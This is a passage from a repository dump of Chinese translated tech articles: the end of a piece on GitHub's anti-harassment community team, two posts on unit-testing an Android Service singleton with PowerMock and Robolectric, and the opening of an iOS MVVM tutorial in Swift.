上的网络暴力，首先是应该要解决公司自己内部的问题。\n\n「如果我们自身一开始就不是多元化的，我们又如何能将这种多元化传递给用户？」Avalos（一个危地马拉人，在 GitHub 还没有老板责任制的时候就加入了公司）对我说，「我们不希望对那些会使用户远离我们产品的事实视而不见。」\n\n社区和安全小组由六个人组成，包括两个变性的人、四个女性，三个为有色人种和两个「有象征意义的男性白人」，换句话说，比起一般的硅谷团队更「多元化」。\n\n他们的工作不仅仅是构建新的「反网络暴力的工具」，也包括诊断各种 GitHub 的功能，预测他们会如何被用来诽谤。\n\n「在 GitHub 里，我们不仅仅是一个工程师团队。」Ehmke 对我说：「我们被认为是关键的基础设施，在 GitHub，这些事情被认为和保持灯光一样重要。」\n\n团队迫使 GitHub 做出的最大的改变就是要求 GitHub 的工程师们在平台中建立「同意和意向」。比如，用户有权利同意被一个用户标注。这可以阻止类似于 Ehmke 的种族主义标签的事件再次发生。所以 GitHub 调整了用户标记功能，需要用户批准。\n\n## 「我们不打算对产品中疏远人的部分视而不见。」\n\n但主观意图是一个很微妙的事情。在 GitHub 上说一些听起来很冒犯的话并不一定说明那个人是想骂你。「You suck」既可以被当中一个中性的鼓励短语，也可能是朋友之间的一句玩笑而已。\n\n「我们意识到，不当言论其实分为两类。」Keeney 说，「一类就是故意的，而另一类，就像那些开地图炮的玩笑的人一样，根本没有意思到自己的地域歧视。」\n\nGitHub 需要找到更灵活的方法来处理这些行为的细微的差别。\n\n上个月，公司发布了一条 [社区指导](https://GitHub.com/blog/2267-introducing-GitHub-community-guidelines) 的草案。它包括 [禁止行为](https://help.GitHub.com/articles/GitHub-community-guidelines/#what-is-not-allowed) —— 辱骂，歧视和欺凌 —— 并清楚地阐明了什么构成那些行为。 还有 [破坏规则的后果](https://help.GitHub.com/articles/GitHub-community-guidelines/#what-happens-if-someone-breaks-the-rules) ，从删除内容到帐户终止不等。\n\n而作为 GitHub，它已要求其社区提供一些反馈。一个用户看了看拟议准则，并建议其将色情也拒之门外，包括一些可能与性教育或生殖健康相关的项目。 最终，GitHub决定，满足社区需求的最佳方式就是请求社区的帮助。\n\n例如，审核评论这个特性，如果被用户和开源项目的管理者所共同管理可能会更好，这样更容易发现一个看上去无礼的笑话是否真的冒犯了别人。\n\n「现在，管理者唯一能做的就是删除评论，举报或者在一个项目中禁止某人。」Keeney 说，「但我们希望确保我们为管理者提供一系列工具来应对问题。不同的问题需要不同的反应。」\n\n最后，Keeney 告诉我，GitHub 计划推出一系列工具，可以让项目管理者做更多的事情，比如禁言一个问题成员仅仅几天的时间。\n\n![February Keeney, the manager of GitHub's Community and Safety Team.](https://i0.wp.com/fusion.net/wp-content/uploads/2016/11/bio-photo-e28093-february-keeney.jpg?resize=670%2C670&amp;quality=80&amp;strip=all)\n\nFebruary Keeney, GitHub 社区与安全组的经理\n\nGitHub的做法有三个核心原则：在功能上让用户不易被骚扰、为用户提供新的保护工具、通过社区来运筹帷幄。\n\n据 GitHub 表示，到目前为止，整个策略已经相当成功了。阻拦和报告的恶意事件数增加了，表明用户实际上正在使用网站的新工具。另一方面，当恶意事件真正发生时，响应用户所需的时间减少了。\n\n## 「我们赋予用户管理自己体验的权利越多，结果越好。」\n\n其他在线社区也在采取类似的策略。Reddit 上的 r/science 就建立明确的社区规则，并征集了约 1300 人的来维护这些规则，成功的将充满火药味的帖子变成了民主讨论。\n\n「任何合理的治理在线行为的方法都至少要求用户做一些工作来管理社区，」Matias告诉我。 「当社区开展这项工作时，我们通常会获得更多的责任感。」\n\nInstagram 和 Twitter，最近也开始想用户提供更多的处理不当言论的能力。11月，Twitter 发布一一份[新特性](http://fusion.net/story/370271/twitters-new-harassment-tools/)，允许用户从通知里屏蔽某些单词和短语。\n\n「网络暴力的形式有许多种。」Del Harvey，Twitter 的信任与安全部门的副总裁对我说。「预测哪些言论是让用户感到厌恶是不现实的，我们赋予用户管理自己体验的权利越多，结果越好。」\n\n## 网络上的不是每一个地方都需要非常干净\n\n「网络上的不同地方，需要不同的社交模式。」乔治亚理工学院的一个研究在线社区的研究员 Amy Bruckman 说，「网络上也应该有一些不那么光鲜的地方，只要他们不跨越那条边界」\n\n换句话说，这都取决于规定是什么。就像真实的世界一样，不同的人会去不同的地方。Reddit 是你家旁边的潜水吧，而 Facebook 是街角的咖啡厅。我们都知道，在4点的酒吧发生的事情，不可能发生在咖啡厅里的。\n\n最后，这些公司做的最大的改变就是，他们愿意失去一些棘手的用户。\n\n发表不同的见解是不同意识之间互相交流的一部分。而对人骂 \"bitch\" 却不是。 但是，找到他们之间的平衡却很难。在 GitHub 上，新雇佣的雇员和新发布的规定都给社区造成了严重的冲击。并不是每个人都会因此开心，但 GitHub 现在只需要操心在更少的用户上面了。最后，这些公司做的最大的改变就是，他们愿意失去一些有问题的用户。\n\n「如果用户不喜欢我们创造的新文化，可以选择其他的。」Nicole Sanchez 对我说，「对我们来说，我们不介意和你划清界限。」\n"
  },
  {
    "path": "TODO/how-to-test-a-singleton-in-an-android-service-2.md",
    "content": "> * 原文地址：[How to test a singleton in an Android Service (2)?](http://www.songzhw.com/2016/10/03/how-to-test-a-singleton-in-an-android-service-2/)\n* 原文作者：[songzhw](http://github.com/songzhw)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Newt0n](https://github.com/newt0n)\n* 校对者：[Graning](https://github.com/Graning), [hackerkevin](https://github.com/hackerkevin)\n\n# 如何测试 Android Service 里的 Singleton (2)\n\n上一篇文章介绍了如何测试单例模式（**PowerMock**!），还有如何对 Android 代码做单元测试（**Robolectric**!）。现在我们想要测试一个 Service 中的单例应该会很容易了吧？\n\n### 第一次尝试: 结合 PowerMock 和 Robolectric (1)\n\n    // src/PushService\n    // [PushService.java]\n    public class PushService extends Service {\n        public void onMessageReceived(String id, Bundle data){\n            FooManager.getInstance().receivedMsg(data);\n        }\n    }\n\n我试着结合 PowerMock 和 Robolectric 然后写了个测试用例：\n\n    // test/PushServiceTest\n    @RunWith(RobolectricTestRunner.class)\n    // @RunWith(PowerMockRunner.class)\n    @PrepareForTest(FooManager.class)\n    public class FooManagerTest {\n        @Test\n        public void testSingleton(){\n            FooManager mgr = Mockito.mock(FooManager.class);\n            PowerMockito.mockStatic(FooManager.class);\n            Mockito.when(FooManager.getInstance()).thenReturn(mgr);\n\n            FooManager actual = FooManager.getInstance();\n            assertEquals(mgr, actual);\n        }\n    }\n\n很快，我就发现陷入了两难。即可以用 `@RunWith(RobolectricTestRunner.class)` 也可以用 `@RunWith(PowerMockRunner.class)`，但不能两个一起用！一旦可以同时使用这两个语句，意味着可以随意选择使用 Robolectric 或者 PowerMock，但我没办法结合他们。\n\n### 第二次尝试: 结合 PowerMock 和 Robolectric (2)\n\n我尝试着 Google 可行的解决方案，谢天谢地竟然让我找到了一个。这个方案由 Robolectric 发布在：[https://github.com/robolectric/robolectric/wiki/Using-PowerMock](https://github.com/robolectric/robolectric/wiki/Using-PowerMock)\n\n这篇文章建议我们添加如下语句:\n\n    @RunWith(RobolectricTestRunner.class)\n    @Config(constants = BuildConfig.class, sdk = 21)\n    @PowerMockIgnore({ \"org.mockito.*\", \"org.robolectric.*\", \"android.*\" })\n    @PrepareForTest(Static.class)\n    public class DeckardActivityTest {\n        ...\n    }\n\n我按照文章说的做了，然后试着运行测试，但还是失败了。这一次的报错信息是：\n\n    com.thoughtworks.xstream.converters.ConversionException: Cannot convert type org.apache.tools.ant.Project to type org.apache.tools.ant.Project\n    ---- Debugging information ----\n\n然后我接着 Google，这一次我找到了一个 Github 上的 Issue [github.com/Robolectric](https://github.com/robolectric/robolectric/pull/2390)。在这个 Issue 里有人提到：\n\n    很遗憾我们在 10 月以前都没法实现整合 Powermock，但如果有人愿意帮忙修复这个问题我们也非常欢迎。\n\n    最好的解决当务之急的办法就是让你的代码变得可测试，这样就不用去模拟静态方法了。\n\n现在我意识到目前还没有能够同时使用 PowerMock 和 Robolectric 的方案。可能在 10 月（2016年）的时候会有，但现在（2016 年 9 月）我必须测试服务里的单例，怎么才能做到？\n\n### 第三次尝试: 解耦单例\n\n现在我们知道 PowerMock + Robolectric 的方案已经没有希望了，那我们还能不能测试服务里的单例？\n\n还是有办法的，就像前面说的『单例模式被认为是不够好的，因为它使得单元测试和调试变得困难。它需要明确的指定单例对象的类型以至于耦合度过高。』。所以我们希望能创造个实现依赖注入的机会，而不是紧耦合的用具体的单例对象来初始化。\n\n回到我们的例子，如果使用单例，代码应该是这样：\n\n    // [PushService.java]\n    public class PushService extends Service {\n        public void onMessageReceived(String id, Bundle data){\n            FooManager.getInstance().receivedMsg(data);\n        }\n    }\n\n而使用依赖注入，重写后的代码应该是这样：\n\n    // [PushService.java]\n    public class PushService extends Service {\n        public FooManager fooManager;    \n\n        public void onMessageReceived(String id, Bundle data){\n            fooManager.receivedMsg(data);\n        }\n    }\n\n在这个例子里，`FooManager` 在服务的外层被创建，这样就有了注入或模拟我们自己的实例的机会。这样一来我们的测试代码可以这样写：\n\n    @RunWith(RobolectricTestRunner.class)  // Use Robolectric to test Service with JUnit\n    @Config(constants = BuildConfig.class, sdk = 21) \n    public class PushServiceTest {\n        @Test\n        public void testReceivedMessage_Singleton(){\n            FooManager mgr = mock(FooManager.class);\n            service.fooManager = mgr;\n            service.onMessageReceived(\"23\", data);\n            verify(service.fooManager).receivedMsg(data);\n        }\n    }\n\n问题解决了。我们对在服务里初始化对象做了解耦，做到了让测试用例可以模拟单例类的实例，这一点非常重要，[为了写出可测试的代码, 必须把对象的实例化和业务逻辑分开。](http://codeahoy.com/2016/05/27/avoid-singletons-to-write-testable-code/)\n\n## 结论 02\n\n单例模式，由于提供了一个全局的静态方法来创建和获取类的实例，自然阻止了解耦。而我们上面所做的，就是通过把实例化和业务逻辑分开，从而实现了一个单例模式的测试方案。\n\n\n\n"
  },
  {
    "path": "TODO/how-to-test-a-singleton-in-an-android-service-one.md",
    "content": "> * 原文地址：[How to test a singleton in an Android Service (1)?](http://www.songzhw.com/2016/09/30/how-to-test-a-singleton-in-an-android-service-one/)\n* 原文作者：[songzhw](http://github.com/songzhw)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Newt0n](http://github.com/newt0n)\n* 校对者：[Graning](https://github.com/Graning), [DeadLion](https://github.com/DeadLion)\n\n# 如何测试 Android Service 里的 Singleton (1)\n\n最近我遇到个大麻烦：如何测试服务里的单例模式？最终我解决了这个问题。而且我觉得整个解决问题的过程是一个绝好的向读者清楚的解释单元测试的机会。限于篇幅，本文是第一篇文章，后面我会再写一篇。\n\n## 我们的服务\n\n    // [PushService.java]\n    public class PushService extends Service {\n        public void onMessageReceived(String id, Bundle data){\n            FooManager.getInstance().receivedMsg(data);\n        }\n    }\n\nFooManager 是一个实例:\n\n    // [FooManager.java]\n    public class FooManager {\n        private static FooManager instance = new FooManager();\n\n        private FooManager(){}\n\n        public static FooManager getInstance(){\n            return instance;\n        }\n\n        public void receivedMsg(Bundle data){\n        }\n    }\n\n我们应该怎么测试 PushService?\n\n显然，我们想确保 `FooManager` 会调用 `receiveMsg()`，所以我们想要的应该是像下面这样：\n\n    verify(fooManager).receiveMsg(data);\n\n只要是了解 Mockito 的开发者都知道，当我们调用 `verify(fooManager)` 时必须使 `fooManager` 先成为一个模拟对象；否则，程序会抛出异常：`org.mockito.exception.misusing.NotAMockException`\n\n所以我们得先模拟一个 FooManager 的实例。现在我把测试步骤分解成两个小的测试：\n\n1. 模拟一个单例\n2. 在服务里模拟一个单例\n\n## 模拟单例(1)\n\n### 第一步 : 用 Mockito 模拟 `FooManager` （失败）\n\n首先写一个测试用例:\n\n    public class FooManagerTest {\n        @Test\n        public void testSingleton(){\n            FooManager mgr = Mockito.mock(FooManager.class);\n            Mockito.when(FooManager.getInstance()).thenReturn(mgr);\n\n            FooManager actual = FooManager.getInstance();\n            assertEquals(mgr, actual);\n        }\n    }\n\n运行这个用例时程序抛出了异常:\n\n    org.mockito.exceptions.misusing.MissingMethodInvocationException:\n    when() requires an argument which has to be 'a method call on a mock'.\n    For example:\n        when(mock.getArticles()).thenReturn(articles);\n    Also, this error might show up because:\n    1\\. you stub either of: final/private/equals()/hashCode() methods.\n       Those methods *cannot* be stubbed/verified.\n       Mocking methods declared on non-public parent classes is not supported.\n    2\\. inside when() you don't call method on mock but on some other object.\n\n这是因为 Mockito 不能模拟一个静态方法，在这个例子里就是 `getInstance()` 方法。\n\n### 第二步 : 使用 PowerMock\n\n还好我知道 PowerMock 可以模拟静态方法，所以我想换到 PowerMock 试试。\n\n    @RunWith(PowerMockRunner.class)\n    @PrepareForTest(FooManager.class)\n    public class FooManagerTest {\n\n        @Test\n        public void testSingleton(){\n            FooManager mgr = Mockito.mock(FooManager.class);\n            PowerMockito.mockStatic(FooManager.class);\n            Mockito.when(FooManager.getInstance()).thenReturn(mgr);\n\n            FooManager actual = FooManager.getInstance();\n            assertEquals(mgr, actual);\n        }\n\n    }\n\n是的，我成功了。但必须要注意上面这些代码只有在你的项目是个纯 Java 项目而不是 Android 项目时才能成功。如果想要测试 Android 项目的代码，还会遇到一些其他的问题。\n\n## 测试 Android 代码\n\n### 第三步 : 用单元测试来测试 Android 代码\n\n你也许会想到，因为 Android 项目也是用 Java 写的，所以应该也可以在 `$module$/src/test` 目录里写单元测试的用例。\n\n但是真的可以么？我们来看一个用 JUnit Test 来测试 Android 库代码的例子。\n\n        @Test\n        public void testAndroidCode(){\n            instance.setArgu(argu);\n\n            instance.doSomething();\n            verify(argu).isCalled();\n        }\n\n然而，你可能会遇到一个报错：\n`java.lang.NoClassDefFoundError: org/apache/http/cookie/Cookie`\n\n除此之外，也可能找不到其他的类，比如 `android/util/Log`, `android/content/Context` 等等。\n\n之所以会报 `NoClassDefFoundError` 错误是因为 JUnit 运行在 JVM 环境，也就是说 JUnit 没有 Android 运行环境。\n\n其实有一个官方的 Android 环境下的测试方案：[Instrumentation 测试](https://developer.android.com/training/testing/unit-testing/instrumented-unit-tests.html)。\n\n但这并不是我们真正想要的。每次运行 Instrumentation 测试，都必须构建整个项目并把 APK 文件推送到手机设备或者模拟器里。所以，这样测试会很慢。并不像 JUnit 那样可以直接在电脑上运行（PC/Mac/Linux）而且并不需要 Android 运行环境。结果就是在电脑上运行 JUnit 测试会比 Instrumentation 测试快得多。\n\n有没有一个方案既包含 Android 环境又能在电脑上运行还能快速的执行测试？当然有，不然我写这篇文章干嘛，答案就是 **Robolectric**！\n\n### 第四步 : Robolectric\n\n前面已经说过，在 Android 模拟器或者物理设备上运行测试是很慢的。构建、部署和启动应用通常要花费 1 分钟或者更久，这样没办法做 TDD（Test-driven development 测试驱动的开发）。\n\n[Robolectric](http://robolectric.org/) 是一个让你可以直接在 IDE 里运行 Android 测试的框架。\n\n[Robolectric](http://robolectric.org/) 做了什么？这有点复杂，不过可以简单的认为 Robolectric 封装了一个 Android.jar 文件在其内部。这样就拥有了 Android 运行环境，因此也就可以在电脑上运行 Android 代码的测试。\n\n下面是一个 Robolectric 的例子：\n\n    @RunWith(RobolectricTestRunner.class)\n    public class MyActivityTest {\n\n      @Test\n      public void clickingButton_shouldChangeResultsViewText() throws Exception {\n        MyActivity activity = Robolectric.setupActivity(MyActivity.class);\n\n        Button button = (Button) activity.findViewById(R.id.button);\n        TextView results = (TextView) activity.findViewById(R.id.results);\n\n        button.performClick();\n        assertThat(results.getText().toString()).isEqualTo(\"Robolectric Rocks!\");\n      }\n    }\n\n回到主题，在 Robolectric 的帮助下，我们终于可以直接在电脑环境里测试自己的服务，而且还很快。\n\n### 结论 01\n\n我介绍了如何使用 Robolectric 来快速的测试 Android 代码，以及如何在 Java 环境里模拟单例模式。\n\n但我必须得提醒一下，目前我们仍然无法在 Android 环境里成功的模拟单例模式。我将在下一篇文章里讨论如何解决这个问题。\n\n[如何测试 Android 服务里的单例模式（2）](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-test-a-singleton-in-an-android-service-2.md)\n\n\n"
  },
  {
    "path": "TODO/how-to-use-a-model-view-viewmodel-architecture-for-ios.md",
    "content": "> * 原文地址：[How not to get desperate with MVVM implementation](https://medium.com/flawless-app-stories/how-to-use-a-model-view-viewmodel-architecture-for-ios-46963c67be1b)\n> * 原文作者：[S.T.Huang](https://medium.com/@koromikoneo?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-use-a-model-view-viewmodel-architecture-for-ios.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-use-a-model-view-viewmodel-architecture-for-ios.md)\n> * 译者：[JayZhaoBoy](https://github.com/JayZhaoBoy)\n> * 校对者：[swants](https://github.com/swants)，[ryouaki](https://github.com/ryouaki)\n\n# 不再对 MVVM 感到绝望\n\n![](https://cdn-images-1.medium.com/max/2000/1*jYS00y2Ml9GgtBq6EDHR2w.png)\n\n让我们想象一下，你有一个小项目，通常在短短两天内你就可以提供新的功能。然后你的项目变得越来越大。完成日期开始变得无法控制，从2天到1周，然后是2周。它会把你逼疯！你会不断抱怨：一件好产品不应该那么复杂！然而这正是我所面对过的，对我来说那确实是一段糟糕的经历。现在，在这个领域工作了几年，与许多优秀的工程师合作过，让我真正意识到使代码变得如此复杂的并不是产品设计，而是我。\n\n我们都有过因为编写面条式代码而损害我们项目的经历。问题是我们该如何去修复它？一个好的架构模式可能会帮到你。在这篇文章中，我们将要谈论一个好的架构模式：Model-View-ViewModel (MVVM)。MVVM 是一种专注于将用户界面开发与业务逻辑开发实现分离的 iOS 架构趋势。\n\n「好架构」这个词听起来太抽象了。你会感到无从下手。这里有一点建议：不要把重点放在体系结构的定义上，我们可以把重点放在如何**提高代码的可测试性上**。现如今有很多软件架构，比如 MVC、MVP、MVVM、VIPER。很明显，我们可能无法掌握所有这些架构。但是，我们要记住一个简单的原则：不管我们决定使用什么样的架构，最终的目标都是使测试变得更简单。因此写代码之前我们要根据这一原则进行思考。我们强调如何直观的进行责任分离。此外，保持这种思维模式，架构的设计就会变得很清晰、合理，我们就不会再陷入琐碎的细节。\n\n#### 太长(若)不看(请看这里)\n\n在这篇文章中，你将学到：\n\n* 我们之所以选择 MVVM 而不是 Apple MVC\n* 如何根据 MVVM 设计更清晰的架构\n* 如何基于 MVVM 编写一个简单的实际应用程序\n\n你不会看到：\n\n* MVVM、VIPER、Clean等架构之间的比较\n* 一个能解决所有问题的万能方案\n\n所有这些架构都有优点和缺点，但都是为了使代码变得更简单更清晰。所以我们决定把重点放在**为什么**我们选择 MVVM 而不是 MVC，以及我们**如何**从 MVC 转到 MVVM。如果您对 MVVM 的缺点有什么观点，请参阅本文最后的讨论。\n\n让我们开始吧！\n\n#### Apple MVC\n\nMVC (Model-View-Controller) 是苹果推荐的架构模式。定义以及 MVC 中对象之间的交互如下图所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*la8KCs0AKSzVGShoLQo2oQ.png)\n\n在 iOS/MacOS 的开发中，由于引入了 ViewController，通常会变成：\n\n![](https://cdn-images-1.medium.com/max/800/1*8XM4gfWIvaOl8kHiNlxLeg.png)\n\nViewController 包含 View 和 Model。问题是我们通常都会在 ViewController 中编写控制器代码和视图层代码。它使 ViewController 变得太复杂。这就是为什么我们把它称为 Massive View Controller（臃肿的视图控制）。在为 ViewController 编写测试的同时，你需要模拟视图及其生命周期。但视图很难被模拟。如果我们只想测试控制器逻辑，我们实际上并不想模拟视图。所有这些都使得编写测试变得如此复杂。\n\n所以 MVVM 来拯救你了。\n\n#### MVVM — Model — View — ViewModel\n\nMVVM 是由 [John Gossman](https://blogs.msdn.microsoft.com/johngossman/2005/10/08/introduction-to-modelviewviewmodel-pattern-for-building-wpf-apps/) 在 2005 年提出的。MVVM 的主要目的是将数据状态从 View 移动到 ViewModel。MVVM 中的数据传递如下图所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*8MiNUZRqM1XDtjtifxTSqA.png)\n\n根据定义，View 只包含视觉元素。在视图中，我们只做布局、动画、初始化 UI 组件等等。View 和 Model 之间有一个称为 ViewModel 的特殊层。ViewModel 是 View 的标准表示。也就是说，ViewModel 提供了一组接口，每个接口代表 View 中的 UI 组件。我们使用一种称为「绑定」的技术将 UI 组件连接到 ViewModel 接口。因此，在 MVVM 中，我们不直接操作 View，而是通过处理 ViewModel 中的业务逻辑从而使视图也相应地改变。我们会在 ViewModel 而不是 View 中编写一些显示性的东西，例如将 Date 转换为 String。因此，不必知道 View 的实现就可以为显示的逻辑编写一个简单的测试。\n\n让我们回过头再看看上面的图。通常情况下，ViewModel 从 View 接收用户交互，从 Model 中提取数据，然后将数据处理为一组即将显示的相关属性。在  ViewModel 变化后，View 就会自动更新。这就是 MVVM 的全部内容。\n\n具体来说，对于 iOS 开发中的 MVVM，UIView/UIViewController 表示 View。我们只做：\n\n1. 初始化/布局/呈现 UI 组件。\n2. 用 ViewModel 绑定 UI 组件。\n\n另一方面，在 ViewModel 中，我们做：\n\n1. 编写控制器逻辑，如分页，错误处理等。\n2. 写显示逻辑，提供接口到视图。\n\n你可能会注意到这样 ViewModel 会变得有点复杂。在本文的最后，我们将讨论 MVVM 的缺点。但无论如何，对于一个中等规模的项目来说，想一点一点完成目标，MVVM 仍然是一个很棒的选择。\n\n在接下来的部分，我们将使用 MVC 模式编写一个简单的应用程序，然后描述如何将应用程序重构为 MVVM 模式。带有单元测试的示例项目可以在我的 GitHub 上找到：\n\n- [**koromiko/Tutorial**: _Tutorial - Code for https://koromiko1104.wordpress.com_github.com](https://github.com/koromiko/Tutorial/tree/master/MVVMPlayground)\n\n让我们开始吧！\n\n### 一个简单的画廊 app — MVC\n\n我们将编写一个简单的应用程序，其中：\n\n1. 该应用程序从 API 中获取 500px 的照片，并在 UITableView 中列出照片。\n2. tableView 中的每个 cell 显示标题、说明和照片的创建日期。\n3. 用户不能点击未标记为「for_sale」的照片。\n\n在这个应用程序中，我们有一个名为 **Photo** 的结构，它代表一张照片。下面是我们的 **Photo** 类：\n\n```\nstruct Photo {\n    let id: Int\n    let name: String\n    let description: String?\n    let created_at: Date\n    let image_url: String\n    let for_sale: Bool\n    let camera: String?\n}\n```\n\n该应用程序的初始视图控制器是一个包含名为 **PhotoListViewController** 的 tableView 的 UIViewController。我们通过 **PhotoListViewController** 中的 **APIService**获取**Photo** 对象，并在获取照片后重新载入 tableView：\n\n```\n  self?.activityIndicator.startAnimating()\n  self.tableView.alpha = 0.0\n  apiService.fetchPopularPhoto { [weak self] (success, photos, error) in\n      DispatchQueue.main.async {\n        self?.photos = photos\n        self?.activityIndicator.stopAnimating()\n        self?.tableView.alpha = 1.0\n        self?.tableView.reloadData()\n      }\n  }\n```\n\n**PhotoListViewController** 也是 tableView 的一个数据源：\n\n```\nfunc tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n    // ....................\n    let photo = self.photos[indexPath.row]\n    //Wrap the date\n    let dateFormateer = DateFormatter()\n    dateFormateer.dateFormat = \"yyyy-MM-dd\"\n    cell.dateLabel.text = dateFormateer.string(from: photo.created_at)\n    //.....................\n}\n  \nfunc tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n    return self.photos.count\n}\n```\n\n在 **func tableView（_ tableView：UITableView，cellForRowAt indexPath：IndexPath） - > UITableViewCell** 中，我们选择相应的 **Photo** 对象并将标题、描述和日期分配给一个 cell。由于 **Photo**.date 是一个 Date 对象，我们必须使用 DateFormatter 将其转换为一个 String。\n\n以下代码是 tableView 委托的实现：\n\n```\nfunc tableView(_ tableView: UITableView, willSelectRowAt indexPath: IndexPath) -> IndexPath? {\n    let photo = self.photos[indexPath.row]\n    if photo.for_sale { // If item is for sale \n        self.selectedIndexPath = indexPath\n        return indexPath\n    }else { // If item is not for sale \n        let alert = UIAlertController(title: \"Not for sale\", message: \"This item is not for sale\", preferredStyle: .alert)\n        alert.addAction( UIAlertAction(title: \"Ok\", style: .cancel, handler: nil))\n        self.present(alert, animated: true, completion: nil)\n        return nil\n    }\n}\n```\n\n我们在 **func tableView（_ tableView：UITableView，willSelectRowAt indexPath：IndexPath） - > IndexPath** 中选择相应的 Photo 对象，检查 **for_sale** 属性。如果是 ture，就保存到 **selectedIndexPath**。如果是 false，则显示错误消息并返回 nil。\n\n**PhotoListViewController** 的源码在[这里](https://github.com/koromiko/Tutorial/blob/MVC/MVVMPlayground/MVVMPlayground/Module/PhotoList/PhotoListViewController.swift)，请参考标签「MVC」。\n\n那么上面的代码有什么问题呢？在 **PhotoListViewController** 中，我们可以找到显示的逻辑，如将 Date 转换为 String 以及何时启动/停止活动指示符。我们也有 Veiw 层代码，如显示/隐藏 tableView。另外，在视图控制器中还有另一个依赖项 ，API 服务。如果你打算为**PhotoListViewController**编写测试，你会发现你被卡住了，因为它太复杂了。我们必须模拟 **APIService**，模拟 tableView 以及 cell 来测试整个 **PhotoListViewController**。唷！\n\n记住，我们想让测试变得更容易？让我们试试 MVVM 的方法！\n\n#### 尝试 MVVM\n\n为了解决这个问题，我们的首要任务是整理视图控制器，将视图控制器分成两部分：View 和 ViewModel。具体来说，我们要：\n\n1. 设计一组绑定的接口。\n2. 将显示逻辑和控制器逻辑移到 ViewModel。\n\n首先，我们来看看 View 中的 UI 组件：\n\n1. activity Indicator （加载/结束）\n2. tableView （显示/隐藏）\n3. cells （标题，描述，创建日期）\n\n所以我们可以将 UI 组件抽象为一组规范化的表示：\n\n![](https://cdn-images-1.medium.com/max/800/1*ktmfaTJajU0NYrCBq8iqnA.png)\n\n每个 UI 组件在 ViewModel 中都有相应的属性。可以说我们在 View 中看到的应该和我们在 ViewModel 中看到的一样。\n\n但是我们该如何绑定呢？\n\n#### Implement the Binding with Closure\n\n在 Swift 中，有很多方式来实现「绑定」：\n\n1. 使用 KVO (Key-Value Observing) （键值观察）模式。\n2. 使用第三方库 FRP （函数式响应编程） 例如 RxSwift 和 ReactiveCocoa。\n3. 自己定制。\n\n使用 KVO 模式是个不错的注意， 但它可能会创建大量的委托方法，我们必须小心 addObserver/removeObserver，这可能会成为 View 的一个负担。理想的方法是使用 FRP 中的绑定方案。如果你熟悉函数式响应编程，那就放手去做吧！如果不熟悉的话，那么我不建议使用 FRP 来实现绑定，这样子就太大材小用了。[Here](http://five.agency/solving-the-binding-problem-with-swift/) 是一个很好的文章，谈论使用装饰模式来自己实现绑定。在这篇文章中，我们将把事情简单化。我们使用闭包来实现绑定。实际上，在 ViewModel 中，绑定接口/属性如下所示：\n\n\n```\n\nvar prop: T {\n    didSet {\n        self.propChanged?()\n    }\n}\n```\n\n另一方面，在 View 中，我们为 propChanged 指定一个作为值更新回调的闭包。\n\n\n```\n// When Prop changed, do something in the closure \nviewModel.propChanged = { in\n    DispatchQueue.main.async {\n        // Do something to update view \n    }\n}\n```\n\n每次属性 prop 更新时，都会调用 propChanged。所以我们就可以根据 ViewModel 的变化来更新 View。很简单，对吗？\n\n#### 在 ViewModel 中进行绑定的接口\n\n现在，让我们开始设计我们的 ViewModel，**PhotoListViewModel**。给定以下三个UI组件：\n\n1. tableView\n2. cells\n3. activity indicator\n\n我们在 **PhotoListViewModel** 中创建绑定的接口/属性：\n\n```\nprivate var cellViewModels: [PhotoListCellViewModel] = [PhotoListCellViewModel]() {\n    didSet {\n        self.reloadTableViewClosure?()\n    }\n}\nvar numberOfCells: Int {\n    return cellViewModels.count\n}\nfunc getCellViewModel( at indexPath: IndexPath ) -> PhotoListCellViewModel\n\nvar isLoading: Bool = false {\n    didSet {\n        self.updateLoadingStatus?()\n    }\n}\n```\n\n每个 **PhotoListCellViewModel** 对象在 tableView 中形成一个规范显示的 cell。它提供了用于渲染 UITableView cell 的数据接口。我们把所有的 **PhotoListCellViewModel** 对象放入一个数组 **cellViewModels** 中，cell 的数量恰好是该数组中的项目数。我们可以说数组 **cellViewModels** 表示 tableView。一旦我们更新 ViewModel 中的 **cellViewModels**，闭包 **reloadTableViewClosure** 将被调用并且 View 将进行相应地更新。\n\n一个简单的 **PhotoListCellViewModel** 如下所示：\n\n```\nstruct PhotoListCellViewModel {\n    let titleText: String\n    let descText: String\n    let imageUrl: String\n    let dateText: String\n}\n```\n\n正如你所看到的，**PhotoListCellViewModel** 提供了绑定到 View 中的 UI 组件接口的属性。\n\n#### 将 View 与 ViewModel 绑定\n\n有了绑定的接口，现在我们将重点放在 View 部分。首先，在 **PhotoListViewController** 中，我们初始化 viewDidLoad 中的回调闭包：\n\n```\nviewModel.updateLoadingStatus = { [weak self] () in\n    DispatchQueue.main.async {\n        let isLoading = self?.viewModel.isLoading ?? false\n        if isLoading {\n            self?.activityIndicator.startAnimating()\n            self?.tableView.alpha = 0.0\n        }else {\n            self?.activityIndicator.stopAnimating()\n            self?.tableView.alpha = 1.0\n        }\n    }\n}\n    \nviewModel.reloadTableViewClosure = { [weak self] () in\n    DispatchQueue.main.async {\n        self?.tableView.reloadData()\n    }\n}\n```\n\n然后我们要重构数据源。在 MVC 模式中，我们在 **func tableView（_ tableView：UITableView，cellForRowAt indexPath：IndexPath） - > UITableViewCell** 中设置了显示逻辑，现在我们必须将显示逻辑移动到 ViewModel。重构的数据源如下所示：\n\n```\n\nfunc tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n    guard let cell = tableView.dequeueReusableCell(withIdentifier: \"photoCellIdentifier\", for: indexPath) as? PhotoListTableViewCell else { fatalError(\"Cell not exists in storyboard\")}\n\t\t\n    let cellVM = viewModel.getCellViewModel( at: indexPath )\n\t\t\n    cell.nameLabel.text = cellVM.titleText\n    cell.descriptionLabel.text = cellVM.descText\n    cell.mainImageView?.sd_setImage(with: URL( string: cellVM.imageUrl ), completed: nil)\n    cell.dateLabel.text = cellVM.dateText\n\t\t\n    return 